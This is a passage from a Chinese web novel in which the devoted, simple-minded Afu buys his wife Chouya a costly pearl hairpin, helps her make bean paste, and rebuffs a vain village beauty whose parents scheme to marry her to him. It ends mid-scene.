姨母说让他到街上逛逛,说不定心情会好一点,他逛了,从街头逛到街尾,漫无目的地逛遍大街小巷,却惊奇地发现,在他以为和她毫不相干的地方,却能听到关于她的消息。 街头巷尾的角落里,或是某个小摊前,几个人聚在一起,聊着一些过时的八卦。 第57章 耍小心思的阿福 镇上有个小面摊,来了好几个月了,老板娘是个丑丫头,但却有个长得十分好看的傻夫 几个月前傻夫被现在已经落魄了的谢员外夫人陷害 关于她的事情很多,他听得很认真。 原来她曾经离他那么近,倘若他愿意到街上走走,或许就能更早一点与她重逢。 原来她曾经在这个平静的小镇上搅弄出满城风雨,只要他愿意多关注一下窗外事,就能听到她的消息。 听完了别人讲述几个月前那些惊心动魄的场面,他鬼使神差地朝着他们所说的那个小面摊走去。 远远的,他就看到了那抹熟悉的身影在面摊上忙碌着,脚步不经意间加快了许多,可待他走了几步,眼前的场景又让他放慢了步伐。 面如冠玉、俊美不凡的男人站在姑娘身边,手里拿着一个酥饼,他将酥饼喂到姑娘嘴边,姑娘满眼笑意地咬了一口酥饼,大概是说了什么,男人也跟着笑了起来。 若只看表面,大概所有人都会觉得他们两个不搭,但是看着他们言笑晏晏的样子,又觉得出奇的和谐,像是天造地设的一般。 付北辰看着他们你一口我一口将一个酥饼分食完,定在原地的脚步才缓缓向前迈进。 还不等他走到面摊边,丑丫就发现了他,诧异之后便笑着打招呼:“小秀才,好巧啊!” 付北辰强扯出一抹笑,如春风和煦,微微点头:“恰巧经过这里,看到你们在这儿,过来打个招呼。” 阿福看到来人,刚才还乐呵呵的脸瞬间就沉了下来,讨厌,这个男人来干嘛! 丑丫感觉到阿福浑身的不开心劲儿,轻轻扯了一下他的衣服,给了一个不许胡闹的眼神。 她也是纳闷,阿福为何对付北辰有那么大敌意,她平时也会跟来吃面的客人说话,也没见他这么生气。 阿福气呼呼,装作看不懂娘子给他的暗示,瞪了付北辰一眼。 丑丫拿他没办法,尴尬地笑着对付北辰道:“他就是个孩子心性,你别和他计较。” “你吃早饭了吗?若没有的话,不如坐下吃一碗面,我请你。” 付北辰自然看出来阿福对他的敌意,稍稍有些局促,原本应该告辞离开,可说出的话却是:“未曾。” 嘴在这一刻似乎脱离了他的控制,等说出口后他才惊觉,慌忙想要找补,但丑丫却已经将他迎到一个位置上坐下。 “那你稍等,我给你煮面,那日你就没留下吃饭,今天好歹也吃一口。” 付北辰有些拘谨地坐着:“那就麻烦了。” 一边的阿福那张脸冷得快要比早上结的霜还冷了,眼刀子一个接一个往付北辰身上飞,搞得付北辰坐立不安,尴尬地朝他笑笑。 等瞪完付北辰,阿福又气鼓鼓、委屈巴巴地看着丑丫,那表情就差把不高兴三个字给写在脸上了。 丑丫好笑不已,像哄小孩一样道:“好了,阿福乖,去扯面吧。” 阿福不满地瘪了瘪嘴,将自己的怨气撒在了面团上,扯好一把面,却抠门地只往笊篱里扔了两根,那意思很明显,只给付北辰两根面条。 做完小动作,还装作毫不知情的样子继续揉面团,丑丫都快被他给可爱死了,要是在家里,她肯定要揉一揉他那张俊脸。 这么个不说笑时看着冷酷无比的大男人,居然还能在这儿可可爱的耍小心思。 她憋着笑,无奈道:“阿福,他是客人,只给两根面条,让人家塞牙缝呢?” 阿福理直气壮的小声嘟囔:“白面贵,要省!” 丑丫真的憋不住笑了,她家阿福懂事了,知道节省了,但省也不是这么省的啊! 她从案板上拿了一把面条放进笊篱里,等面条煮熟后装进碗里,刚要给付北辰端去,阿福却先她一步,夺过碗,大步朝着付北辰走去。 碗被放下,阿福没离开,就站在付北辰身边,双手抱臂盯着他,修长高大的他将瘦削的付北辰衬得更加单薄,不知道的人看这架势,还以为阿福要揍人呢。 付北辰尴尬得想要搓手,讪笑着小声道:“谢谢谢。” 不知为何,他总有些怵这个男人,明明别人都说他心智不全,可他看他那通身气度,觉得他不是普通人。 阿福对他的这声谢谢充耳不闻,朝着他伸出手:“五文一碗,拿来!” 付北辰大气都不敢喘,他那浑身的冷意让他不禁觉得,要是他不给钱,他就会揍他! “哦哦!” 他愣神了一瞬后赶紧掏身上的钱袋子,动作眼见地慌张。 丑丫都被阿福这操作给惊呆了,忙冲过去:“不要钱,请你吃的,阿福开玩笑,不必当真!” 说完她就笑着将阿福给拉走:“你慢用啊,我们不打扰你。” 阿福不愿意走,但是被丑丫瞪了一眼后就老实了,可怜兮兮地跟着离开。 丑丫板着张小脸,装作严肃的教育:“阿福,你不能这样针对别人,我说了要请别人吃面,你去找他收钱的话,其他客人看到了,以后就不来我们这儿吃面了。” 这边阿福倔强的仰着脑袋,绝不不认错,而那边,还没离开的韩姨母见自家侄儿居然来了,赶忙换了一个背对他的位置,将刚才的事情全都尽收眼底。 她有些恨铁不成钢地拍了两把大腿,她家北辰平时看着也是个有骨气的,怎么对上那傻小子就怂成这样了! 就这样,人家姑娘还怎么能看得上他,那傻小子,傻是傻了点,就那体格,一个能干翻她侄儿三个! 她在这儿愤恨地拍大腿,付北辰听到这声音,惊觉有些熟悉,他姨母生气的时候喜欢拍大腿,声音、节奏和这很像。 他疑惑转头,果然看到在背对自己的位置上,一个妇人低着脑袋,像是受了什么天大的气,那身衣裳,可不就是姨母早上出门时穿的嘛。 他瞬间明白姨母为何到这里,坐着的凳子似乎变得滚烫,烫得他坐立不安。 若是姨母将他的心思给说了出去,那他和她是不是连朋友都做不成了? 越想越焦躁,他起身,走到姨母身后,轻轻拍了拍她的肩膀,韩氏正沉浸在自己的气愤中,被这突然的拍肩吓了一跳。 回眸一看,就对上自家侄子那双眼,她尴尬地笑了笑,赶紧起身离开:“哎呀,我菜还没买呢,这就买菜去。” 和丑丫道了一声别,韩姨母风风火火的离开,付北辰提着的心稍稍放下,重新坐回凳子上,一口一口吃着丑丫亲手给他煮的面条。 吃完这碗面条,他对她的那些心思就将永远压在心底,他会祝她幸福,而他也会继续自己的生活。 第58章 阿福,我该如何回报你? 入冬天总是黑得很早,茅草屋保暖性不太好,丑丫和阿福生了炭火,围着火盆烤火吃东西。 炭火盆里埋了几个地瓜,还没熟,就已经闻到一阵浓浓的香甜味,勾得人流口水。 从来没有一个冬天丑丫过得像现在这般暖和又舒服,棉被是新的,棉衣也是新的,还有一个暖乎乎像火炉一样的阿福,晚上被他抱着睡,她丝毫不会觉得冷。 火盆里的地瓜还在烤,丑丫不时地翻动炭火,却见阿福站起身,朝着床边走去,在枕头底下掏了又掏,拿出一个长条形的小木盒子。 他回到火盆边,将手中的木盒递到了丑丫跟前,脸上少见地浮现几朵红云:“娘子,送给你。” 他别扭着将盒子塞进丑丫手里,他虽然傻,但给小姑娘送礼物,还是会感到不好意思的。 丑丫觉得他那别扭的样子很可爱,但又疑惑盒子里的东西:“阿福,你什么时候买的这个?” 他基本上每天都和她形影不离,他何时偷偷买了这东西,她居然一点都没察觉。 她说着,将小木盒打开,里面居然躺着一只珠钗,不太规则的小珍珠串成了蝴蝶的样式,固定在一根银质的簪子上。 “呀,好漂亮!” 丑丫惊奇地呼出声,将簪子从木盒里拿了出来,随着动作,那只珍珠小蝴蝶居然还会晃动,更加灵动精致。 “阿福,你在哪儿买的这支簪子,真好看。” 说不开心是假的,哪个小姑娘会不喜欢好看的东西呢,她平时绑头发都是用发带,或是最普通不过的木簪。 现在看到这么精致的簪子,她圆润的眼睛里都是欣喜的光。 阿福见娘子喜欢,开心地笑起来,这可是他攒了好久钱才买到的,但是这些背后的小故事,他当然是不会和娘子说的。 欣喜过后,丑丫才疑惑地问:“阿福,你怎么突然要送我簪子了?” 阿福撅嘴,他才不是突然想起来才送的呢,上次付北辰要送给娘子簪子的时候,他就决定,也要送娘子一根簪子,而且娘子只能收他的簪子,别的男人送的,看都不能看! “娘子都没有好看的簪子,阿福想送娘子,但是,娘子收了阿福的簪子,就不能再手其他人的簪子了哦,不然,我就打他们!” 虽然傻乎乎但又很霸道的阿福看着丑丫说得十分认真,丑丫听着,心都要化成了一汪水:“好,我只收阿福送的。” 阿福开心得神采飞扬,那张脸看着更加地迷人了。 “娘子,我给你戴上!” 他拿过簪子,探过身去靠近丑丫,将那根珍珠蝴蝶簪小心翼翼地插进丑丫的发髻里,插完,他还歪着脑袋欣赏了一下自己的杰作,满意的拍手。 “娘子好看!” 丑丫被夸得笑意盈盈,抬手轻轻摸着那支颤动的小蝴蝶:“是阿福挑的簪子好看!” 她很想看看自己此时的样子,但可惜家里没有镜子,但看阿福此时满眼星光的样子,猜想定是与平时不同的。 激动的心情稍稍沉淀过后,丑丫意识到一个很重要的问题,这支簪子是用珍珠做的,价格一定不便宜。 “阿福,这簪子多少银子?” 她心情有些忐忑,希望阿福说的价格不要太惊人。 阿福乐呵呵地伸出两根指头,丑丫的呼吸一滞:“二两?” 她有些肉疼,二两银子啊,以前够她花半年,现在居然就轻飘飘地顶在头上! 阿福摇摇头:“不是,是二十两!” 轰隆! 丑丫觉得此时就像一道晴天霹雳劈在了她的心上,她的心都被劈成了好几瓣! 娘耶,二十两,那么大一坨,居然被她顶在了头上,突然间觉得她的头不值那个价! 她的心都要疼得皱巴巴了,可是看阿福那一脸乐呵的样子,又不舍得说一句重话。 她此刻可算是明白为何阿福突然间要开始攒钱了,一个月前,他突然将她给他的银子都攒了起来,还将攒钱的盒子藏在床底下,以为她不知道。 每次给了他钱,他就偷偷摸摸地进屋,然后将银子都装进他的钱盒子里,那样子很像是囤食过冬的小动物。 她觉得这样的阿福很可爱,便放宽指缝,多给了他一些,前前后后加起来的确有二十几两了。 等肉疼过后,她又是一阵心软,偷偷摸摸攒银子的阿福,只是为了能给她买一支簪子,她如何能不感动! 地瓜终于烤熟,两人吃了烤地瓜后暖乎乎又饱饱地钻进了被窝里。 从前冬天,丑丫的被窝总是冷冰冰的,特别是一双脚,总也暖不起来,有时候睡一觉起来,脚还是冰的。 但现在有阿福,他火力旺,搂着他比烤火还管用,阿福察觉到她的脚凉冰冰以后,便扯过她的脚,往他的怀里塞。 最开始丑丫很害羞,很别扭,也怕自己的脚将阿福给冻坏了,一直挣扎,但被阿福强制地暖过几次脚后,她就看开了。 不见天日的小脚莹白如玉,纤细瘦小,脚背上的青筋隐隐可见,阿福捧着那双小脚,只觉得好小,还没他的手大。 掀开自己衣裳,把脚塞进怀里,丑丫的一双小脚毫无间隔地踩在他结实滚烫的胸膛上,有时也踩过他紧实的小腹,能感受到上面的肌肉纹理。 这么试了几次,她的胆子也大了起来,调皮地用自己的脚趾挠着阿福的胸膛,把阿福挠得痒痒,最后只能用手禁锢住她那双不听话的小脚,不让她胡乱动弹。 两人在床上闹做一团,互相挠对方痒痒,阿福的身手那么好,丑丫哪里会是他的对手,但阿福却每次都让着她。 看着娘子每次获胜后那得意的小表情,只觉得好看极了,要是娘子随时都是这样子该多好。 翌日清晨,阿福还在睡觉,丑丫悄悄溜出被窝,穿好衣服,看着床上男人熟睡的样子,心间涌起一股浓浓的幸福感。 昨晚上阿福送她的簪子还放在枕边,她拿了那个小木盒,装了回去,她舍不得戴,要好好保存着。 突然想到阿福藏钱的那个木盒,她轻手轻脚地蹲下身,从床底下找到那个盒子,打开,里面的银锭和碎银子都不见了,只剩下几个铜板。 看着那几个铜板,她的心又甜又酸又涩,她给阿福的钱是让他买自己喜欢吃的东西的,可是这个大傻子,这段时间都舍不得花钱,就算是一个铜板也要攒起来。 攒啊攒,终于攒够了,满心欢喜地给她买了一支簪子,她都能想到他买这支簪子时是何种的高兴。 她将木盒子藏回了床底,眼神温柔如水地看着床上抱着枕头熟睡的男人,心里呢喃:阿福啊,你对我这么好,我该怎么回报你?把心,把命都给你好不好? 第59章 年关将至 厨房里升起袅袅炊烟,丑丫在灶台上做着早饭,睡醒了的阿福衣裳歪歪扭扭地穿在身上,眼睛里的困意还没消散,摸进厨房里,从身后搂住丑丫,将脑袋搭在丑丫的肩上,又将眼睛给闭上。 他比丑丫高很多,将弓着身子才能将脑袋搭在丑丫肩上,那姿势并不舒服,但他就是想这么靠着娘子。 娘子身上有一股很好闻的气息,有皂角洗衣服后的清香,也有她身上的馨香,还有淡淡的烟火味。 若用一个词来形容这个味道,那应该就是安心,只要有她在身边,他就觉得安心、踏实。 丑丫手里切着一块萝卜,感受着身后像膏药一样粘上来的男人,好笑又无奈道:“阿福,锅里有热水,赶紧打水洗脸去。” 阿福哼唧着站直身子,才看到娘子没戴他送她的簪子,不满地撅嘴:“娘子为什么不戴我送你的簪子?是不是不喜欢簪子,也不喜欢阿福了?” 丑丫知道男人这是又要耍小脾气了,耐心地哄着:“哪有,我喜欢着呢,就是因为太喜欢了,才舍不得戴。” 那可是二十两的簪子,让她戴在头上干活,她生怕簪子掉了、刮花了,还是藏着安心。 阿福的脾气就像是六月的天,一会儿晴,一会儿阴的,现在听娘子这么说,又开心得不行。 他转身跑回屋里,嘴边喊着:“我去拿来给娘子戴上,娘子喜欢,阿福以后还给你买!” 丑丫想阻止,但男人那两条大长腿,没几步的功夫就已经跑没影了,只能作罢,心道:她只有一颗脑袋,哪需要那么多簪子,再说了,戴上那二十两的簪子,她觉得她的脑袋都变沉了。 阿福很快又跑回来了,手里拿着那根簪子,像昨晚上那样小心地给丑丫簪上,然后叮嘱:“不许拿下来哦,娘子要是拿下来,阿福就生气了!” 丑丫见他这样,哪儿还拒绝得了,只能笑着答应:“好,我戴着,睡觉也不拿下来,这下满意了吧?” 光阴如梭,还有半个月就要过年了。 从来没有一年丑丫像现在这般期待新年的到来,因为往年只有她一人,万家团圆,热热闹闹的过年,只有她孤零零一人守着自己的小破院。 天黑了睡觉,天亮了干活,新的一年于她而言并没有什么不同。 但今年不一样了,这是她和阿福过的第一个年,也是她自父母去世后过的第一个有人陪的年,她无比期待。 街上摆摊的活计他们暂停了,买了很多的年货储备着,丑丫还在写对联的书摊上找人写了好几对对联,到时候把家里大大小小的门都贴上对联。 养了一年的大肥猪要出栏了,村里人多的家庭都是自己家宰猪,请亲朋好友吃一顿杀猪饭,剩下的肉都做成腊肉,留待明年,那将是他们一整年的肉菜。 丑丫和阿福只有两个人,一大头猪根本吃不完,而且比起腊肉,阿福更喜欢吃新鲜的肉,所以丑丫将猪卖给了镇上的屠户,再从屠户那里拿几斤肉回家吃。 冬天是做酱菜的季节,丑丫面摊上卖的肉臊子都是用她自己做的酱炒的,往年一整年都吃不完的酱,今年却马上要见底了,她得再做一大坛,等明年接着卖面用。 做酱是个力气活,得先泡两大桶的豆子,浸泡一夜,再上锅蒸熟,之后放进裹了好几层茅草和棕榈毛的背篓里发酵。 发酵完成的豆子味道有些一言难尽,像极了十天半个月不洗脚的脚臭味。 小院里发酵豆子的那个角落,弥漫着难闻的味道,好几次阿福都觉得那筐豆子坏了,要将它给丢了。 今天是发酵好的豆子出框的日子,丑丫将两个簸箕给洗干净,然后将捂得严严实实的发酵豆子的背篓给捣腾了出来。 将背篓上的覆盖物给除去,那股难言的味道更明显了,丑丫一个人搬不动那么大一背篓豆子,让阿福来帮忙,阿福脸上些满了嫌弃。 他捏着鼻子,不敢相信他平时吃的那么好吃的酱居然是用这脚臭味的豆子做成的! 但尽管再嫌弃,娘子的话还是要听的,他一边皱着张脸,一边两手拎起背篓就跑。 发酵好的豆子从背篓里倒出来,还散发着阵阵热气,随着热气升腾,那股味道也愈发的霸道,阿福看着娘子用筷子翻搅那些发酵成黄黄一坨坨的东西,那双好看的眼睛里充满了震惊。 怎么好好的豆子捂着捂着就变成屎了?而且娘子还用筷子去搅,那样子像极了玩屎! 阿福的世界观又一瞬见的崩塌,他香喷喷的娘子不干净了! 丑丫正因为这一筐豆子发酵的很好而高兴着,转头就看到阿福满脸惊恐的看着她,那眼神里有不敢置信和不可思议。 她脑袋空白了一瞬,再回头看向她搅着的这些黄黄的坨状物,瞬间明白了阿福为何会用那种眼神看她。 她嘴角扯了扯,不知道该如何像阿福解释,这是发酵好的豆子,不是屎! 突然,她玩心大起,拿了一小块豆子塞进嘴里尝尝味道,之后满脸笑容的看着阿福,诚邀他一起品尝。 “阿福,快来尝尝,味道不错。” 阿福眼睛瞪得有铜铃大,眼神里的惊恐都要凝成实质了,很多年后他回想起这一幕,对别人说道:说来你可能不信,我娘子邀请过我一起吃屎! 看阿福那傻憨憨的表情,丑丫不逗他了,耐心的解释:“阿福,做酱的豆子就是这个味道的,等我放上佐料拌一拌,之后再晒上一两个月,那味道就和你之前吃的一样了。” 阿福将信将疑,看着丑丫在那坨发酵好的豆子里加了各种的香料和盐巴,味道似乎也变得好了起来,他才稍稍放心。 将调味好的酱半成品装坛,让它继续发酵入味,之后便是晒酱。 发酵豆子用的背篓都被腌入味了,在家里根本洗不干净,丑丫拿上背篓,准备到河边去洗,阿福也跟着去,顺便牵上了大黑马,让它出门遛一遛。 第60章 丑八怪玷污了神仙般的男人! 冬天的河水很凉,好在太阳很大,不觉得有多冷。 阿福可舍不得让娘子碰那么凉的水,把大黑马拴在了河边的树上,然后拎着那个散发着难闻味道的背篓走到河边,弯腰认真地洗。 丑丫越看阿福就越觉得幸福,是不是老天爷将她前十六年的好运都抽走了,就为让她遇上阿福。 背篓洗好,将其晾在河边的石头上,之后阿福带着丑丫骑马,就绕着河边走,也不担心别人会将他们的背篓拿走。 丑丫跟着阿福骑了好多次的马,但还没有自己骑过,阿福今天将她抱上了马,自己没有上去,而是当起了牵马的马夫,牵着马慢慢地走,让丑丫自己扯着缰绳骑马。 马走起来,丑丫坐在马背上摇摇晃晃的,很没有安全感,吓得发出小小的惊呼声。 以往阿福就坐在她身后,她的背靠着他的胸膛,被他护在怀里,稳稳当当的,她一点也不怕。 阿福知道娘子害怕,一手牵着马绳,一手伸到她的腰后,护着她:“娘子别怕,我扶着你,不会摔的!” 感受到腰后那只厚实宽大的手,丑丫的心也安定下来,按照阿福的指示,稳稳地坐在马上,不一会儿的功夫,她就不害怕了。 阿福也悄悄收回自己的手,只牵着马,第一次独立骑马,丑丫的整颗心都是飘着的,连身后的那只手不见了也没发现。 “哇!阿福,我学会骑马了!” 丑丫高兴的大呼,其实她现在顶多算能稳当坐在马背上,离会骑马还远着呢,但不妨碍阿福宠娘子,好话不要钱地往外冒。 “嗯,娘子真棒!” 此时,河的另一岸,一个身穿桃粉色棉袄,头发梳成镇上最流行式样的少女,阴沉着一张脸,坐在河边的石头上,手里抓着一把小石头,发泄一般往河里一颗一颗地扔。 吴芳草肚子里揣着一股无名怒火,想到爹娘和她说的那些话,她就气不过。 以前说要把她嫁去富人家里做夫人太太的是他们,现在让她去勾搭一个傻子的也是他们! 她吴芳草可是村花,居然掉价到要去勾搭一个傻子,真是气死她了! 不就是看她十八了还没嫁出去,觉得她嫁不上好人家了吗?他们也不想想是谁一个月往家里拿一两银子! 好不容易快过年了才能回家一次,回来就听到这让人气炸的话,早知道她就不回来了! 村里人都说村头那丑八怪找了一个俊俏傻夫,傻夫很厉害,才来半年,他们两个就已经买上马车了。 她爹娘大概就是看中这一点,傻子长得好,会打猎,会干活,而且傻子好拿捏,让她把人勾搭回来,这样的话,他们家以后的活就都可以给他干,他还能打猎挣钱,比将她嫁出去还划算。 毕竟,嫁出去的女儿泼出去的水,她就算嫁得再好,他们不过她他们的娘家,帮扶他们还要看夫家的脸色,找个傻子就不同了。 不仅女儿不用嫁出去,继续给他们挣银子,还能带回来一个会挣钱的劳动力,一举两得! 她才不会让他们如意呢,她吴芳草,十里八村的追求者都排几里了,镇上还有几个老爷想抬她回去做小妾,要不是她嫌弃那几个老爷长得丑,她早就成姨娘太太了! 况且能和丑八怪过日子的男人能好到哪儿去,估计也是个歪瓜裂枣! 她心里骂骂咧咧地想着这些,突然听到河对面的说话声,抬头望了过去。 他们村这条清水河并不宽,但水深,她坐在这一岸,能将对岸的人看得很清楚。 只看一眼,她的眼神便舍不得离开。 男人俊美得像天上下凡的神仙,他单手牵着马,微微仰头,似乎在和马背上的人说着话,不知道说了什么,男人脸上漾起温柔浅笑。 俊美如斯,本该冷漠冰冷的男人,此时却笑得那般温柔,那般勾人,让人忍不住想代替马背上的人,让他只对着自己笑。 吴芳草扔石子的动作停下了,只觉得自己的心像是失控了一般,扑通扑通跳个不停。 那个男人,简直是她心中想象的最完美的另一半形象,这样的男人,就应该是她吴芳草的! 他们村何时有了这么一个男人了,难不成是老天爷特意为她准备的? 她强压下心中的欢喜,对着河面整理了一下自己的仪容,她对自己的容貌是最为满意的,十里八村都找不出一个比她好看的。 那些说书人口中的面如娇花照水,行似弱柳扶风,说的可不就是她嘛! 把自己收拾妥帖,她满脸娇羞的看着河对面,想和对面的男人打个招呼,可是一看到对面的情况,她的笑容僵住了。 只见那男人将马背上的人给抱了下来,他的臂膀是那般有力,只一只手就能将马背上的女人抱在怀里。 而被他抱的女人,居然是丑丫! 一瞬间,吴芳草嫉妒得发狂,为什么会是她?为什么要是她?那样俊美的男人怎能被那个丑八怪玷污,他抱的应该要是像她这样的美人才行! 可她脑海里的思绪突然一闪,村民口中的丑八怪,俊俏傻夫,丑八怪已经对上了,难不成这个男人就是那傻子? 想通了这一切,她心里更酸了,就算这男人是个傻子,可是就这俊美的外表以及修长挺拔的身姿,吊打她所有的追求者! 而且,她爹娘还说了,傻子会打猎,会挣钱,厉害又听话,这样的男人怎么就被丑八怪给玷污了呢! 阿福将丑丫抱下马,转身眼神凌厉的看向河对岸,他感觉到有一股视线在盯着他们! 他的眼神那样冷厉,像一道寒冰利刃,吴芳草对上那道目光,顿时被吓得一愣,但随即又是一阵心脏狂跳。 他看到自己了!他看到自己了!她这么好看,他一定被自己给迷住了! 丑丫这时也注意到河对面有人,她看了过去,眼神平静,没什波澜,然后就牵着阿福,拿上他们的背篓一起回家了。 河对面的女孩她认识,吴芳草,他们的村的村花,是她的另一个极端。 她是被人追捧的村花,从小身后便跟着一堆大大小小的追求者,而她身后也时常跟着一堆人,只不过是嘲笑她、欺负她的罢了。 第61章 你的嗓子是被鸭子嘴夹住了吗? 还有好几次,吴芳草怂恿她的追求者们欺负她,看着她被打,被骂,她笑得很开心,大概是有了她的衬托,她那张小家碧玉的脸会显得更加好看。 她算是她的一个仇人,她那时候小,没能力报仇,就想着等她再大一点,就将从她身上受的气都给讨回来,但还没等她长大,吴芳草就被她父母送去镇上的绣坊当学徒了。 她长得好看,父母对她寄予厚望,希望她长大后能嫁入豪门,所以将她送去当绣坊学徒,不仅能学技艺,还能挣钱。 绣坊没什么休息时间,只能过年时回家几天,因此,她和她没什么见面的机会,就不像从前那般受她欺负了。 过去的记忆一闪而过,丑丫并没有放在心上,可是对面的人却嫉妒得寝食难安。 在丑丫和阿福走的时候,吴芳草注意到了丑丫头上戴着的那支珍珠蝴蝶发簪,那簪子她知道,贵着呢,十多二十两一支,她一直想买,但没钱。 她都没戴上的簪子,居然被丑八怪先一步戴上了,她怎么配得上那么好的簪子! 一定是那个男人给她买的,她不过不在家几年,丑八怪居然就傍上了这么好的男人,她怎能咽得下那口气。 她是全村最优秀、最好看的姑娘,她的夫婿自然也要是最好的! 吴家 吴芳草怒气冲冲地回家,问了她爹娘一些关于阿福的事情。 吴父吴青山疑惑,女儿不是之前还生气他们提议让她勾搭傻子吗?怎么现在又问上了? 吴芳草双手抱胸,神情高傲:“爹,娘了,你们也真是的,村里来了这么优秀的男人也不知道提早和我说一下,让丑丫那个丑八怪抢了先!” 吴父吴母心里一喜,都眼冒精光地看着女儿,这么说是看上了? 吴芳草看出他们的疑惑,说道:“我刚才在河边见到丑八怪和那个男人了,你们只知道他们买了马车,应该不知道那丑八怪头上戴着的一根簪子就只值二十两吧?” 吴父吴母瞪大了眼睛,嘴巴也张大,话都说不出口。 二十两!看来丑丫和傻子比他们想象的还要有钱! 吴母搓了搓手,满脸谄媚地看着女儿:“闺女,那你现在是什么意思?看上那个傻子了?” 吴芳草高傲地挑眉:“勉强吧,这些年身后跟着的那些歪瓜裂枣我没一个看得上的,这男人长得合我的心意。” 吴父吴母大喜过望,他们女儿长这么好看,勾搭一个傻子不是手到擒来,怎么会有人不喜欢香的,喜欢臭的呢,他们女儿和丑丫比起来,那就是一个天上一个地下! 而且,上门求娶他们女儿的那些人家,他们也有能看得上的,就算有的家里有些小钱,但也绝对比不上傻子和丑丫。 等傻子成了他们家的女婿,那他的钱不就是他们的钱了嘛! 一家人算盘打得噼啪响起,已经将阿福看成了他们的囊中之物。 这天,阿福像往常一样牵着大黑马,到山脚去放马,他们这儿冬天不会下雪,虽然草被霜冻得枯黄,但大黑马也吃。 而且比起待在马圈里,大黑马更喜欢出门溜达,一天不溜达就会耍小脾气。 今天丑丫在家中忙活,没和阿福一起去,而且阿福对去山脚的路已经很熟悉了,他的身手又好,她也不是很担心。 阿福骑着马,单手拉缰绳,慢慢地晃悠在路上,走过一棵大树下时,一个身穿粉色棉衣的女人将他给拦住。 这人他不认识,但那天在河边见过,他微微皱眉,然后拉扯缰绳,让马绕过了拦路的女人,继续往前走。 娘子说过,陌生人莫名其妙凑上来,一定是别有用心,最好的方式就是不搭理他们! 吴芳草已经在这儿蹲守许久了,根据她这几天的观察,那个男人每天都会去山脚放马。 远远见他过来的时候,她就已经整理好仪容,练习好了表情,绝对让男人一眼入迷。 她站在马前,眼神湿漉漉地向上看,嘴角有一抹若有若无的笑,这样的表情,她试过无数次,男人大多都吃这一套,屡试不爽。 她幻想的场景是,男人骑着高头大马,突然见身前出现一个少女,他扯住缰绳,停住马,然后居高临下往下看,对上她勾人的眼眸,然后惊鸿一瞥,一眼万年。 然而现实却是,男人瞥了他一眼,然后皱眉嫌弃,骑着马,绕过她走了,就在这时,大黑马还毫无征兆地尥了一下蹶子,掀起一片灰尘,让她吃了一嘴灰! 吴芳草的笑容僵住,连呸了好几声都没将嘴里的土给吐干净。 这不可能!这一定是巧合,她这么美,哪一个男人舍得这么对她! 她忙用袖子擦了一把脸,眼里酝酿起水雾,开口声音甜腻得骇人:“公子,请问可以帮奴家捡个帕子吗?” 话出口,她满怀期待,可马背上的男人无动于衷,依旧悠哉悠哉的往前走。 她的柔美表情又僵住,不死心的再次开口:“公子?” 无人应答。 她胸腔里升起一股怒火,跨步朝着阿福的方向追了过去,又拦在了马前:“公子,你听到我说话了吗?可以帮我捡个帕子吗?” 这次阿福不得不停下马,他看了眼吴芳草,眉头蹙得更紧了,娘子说的果然没错,主动凑上来的人都不怀好意。 娘子还说,他长得好看,又乖,陌生人见了都想把他拐回家,他要远离不怀好意的陌生人! 吴芳草见他停下,喜出望外,她就说嘛,没有哪一个男人能抵挡她的魅力。 她羞涩的笑着,抬手指了指树上那张白色绣着小花的帕子:“就是那张,刚刚风大,被吹到树上了,我够不到,公子能般个忙吗?” 阿福抬头看了一眼他坐在马背上伸手就能够到的帕子,面无表情,睁眼说瞎话:“够不到。” 然后轻轻拍了大黑马一巴掌,大黑马继续慢悠悠的往前走。 吴芳草这次表情真的绷不住了,黑得像锅底,他伸手就能拿到的帕子,他居然说够不到! 正在她怀疑自己的魅力是不是打折扣了的时候,走出去几步的阿福又停住了马,吴芳草的表情又由阴转晴。 这是良心发现,觉得她很有魅力,要回来帮她捡帕子了吗? 她欣喜着,阿福调转马头,认真的看着那个女人,问出了一个他思考了很久,也很认真的问题。 他问:“你的嗓子是被鸭子嘴给夹住了吗?” 问完,他还很礼貌的等着人回答,因为他真的很好奇,为什么这个女人说话就像与人捏住她嗓子一般。 吴芳草:“” 她装不下去了,想骂人怎么办? 阿福见对方不想回答,然后就失望的骑着马,策马跑了。 不回答就回答,他回家问娘子去,娘子肯定知道! 第62章 你这样的阿福不吃 吴芳草被气哭了,连那张被她故意扔到树上的帕子也不要了,哭着跑回家。 出门时她已经运筹帷幄的策划好了一切,自己幻想的画面是,男人帮她将帕子给拿下来,她再顺势将帕子送给他,然后她满脸娇羞地跑开,那张帕子就成为他对她的念想。 在他心里埋下一根情丝,她以后再见他,那不就水到渠成了吗? 她认为她的每一步计策都没错,错的是那个傻子不解风情,她好好一个大美女站在他跟前,他居然无动于衷! 傻子就是傻子,一点情趣都不懂! 吴父吴母见女儿哭着跑回来,都凑过来询问情况。 “怎么样,事情成了吗?” 吴母一脸殷切,她觉得这已经是板上钉钉的事了,没道理傻子不要自己如花似玉的闺女,却守着一个丑八怪过日子的。 可这哭着回来又是怎么一会儿事? 吴芳草哭着不说话,她实在说不出口那男人对她说的那句“你嗓子是被鸭子嘴夹住了吗”,她吴芳草可是村花,怎么可能会被一个傻子羞辱! 大概是得不到的永远在骚动,第一次就出师不利,吴芳草非但不放弃,反而被激起了斗志,对阿福更感兴趣了。 今天丑丫和阿福去山上砍柴,大黑马被当成了牛来用,拖上了闲置下来的板车,两人一马往山上走。 冬天天气干燥,最适合砍柴以及用耙子抓一些枯枝落叶回来引火,大黑马拴在草多的地方吃草,丑丫和阿福分工协作干活。 阿福不傻之前应该是会轻功,爬树像会飞一般,没几下就爬上了枝头,动作比鸟还轻盈,看得丑丫在树下哇哇大叫。 矮处的柴都被村民砍得差不多了,只有高处的枯枝他们砍不到,刚好留给阿福来砍。 阿福腰间别着一把砍刀,爬上树之后就动作利落地砍柴,枯枝落在地上,丑丫再将这些柴修理整齐,捆成一捆。 两人配合得很默契,砍柴的效率很高,没多久就将板车给装满了。 回程的时候,大黑马拉着一车柴,阿福牵着马,丑丫就走在他身边,两人有说有笑的,但这和谐的气氛在进村后就被一个主动凑上来的不速之客给破坏了。 吴芳草换了一身浅紫色的绣花棉袄,腰用腰带扎得细细的,头上还带着绢花,走起路来摇曳生姿。 她手里拎着一个小篮子,看到阿福便满脸笑容地迎了上来:“阿福哥,可算等到你了。” 她十分亲昵地走到阿福身边,好像他们很熟一般,而一旁的丑丫,则完全没将她放在眼里,直接装作看不见。 她将手里的小篮子递到阿福跟前,满脸娇羞:“阿福哥,这是我从镇上带回来的点心,他家可是镇上最好的点心铺子,做的糕点很好吃,这些都送给你,感谢你昨天” 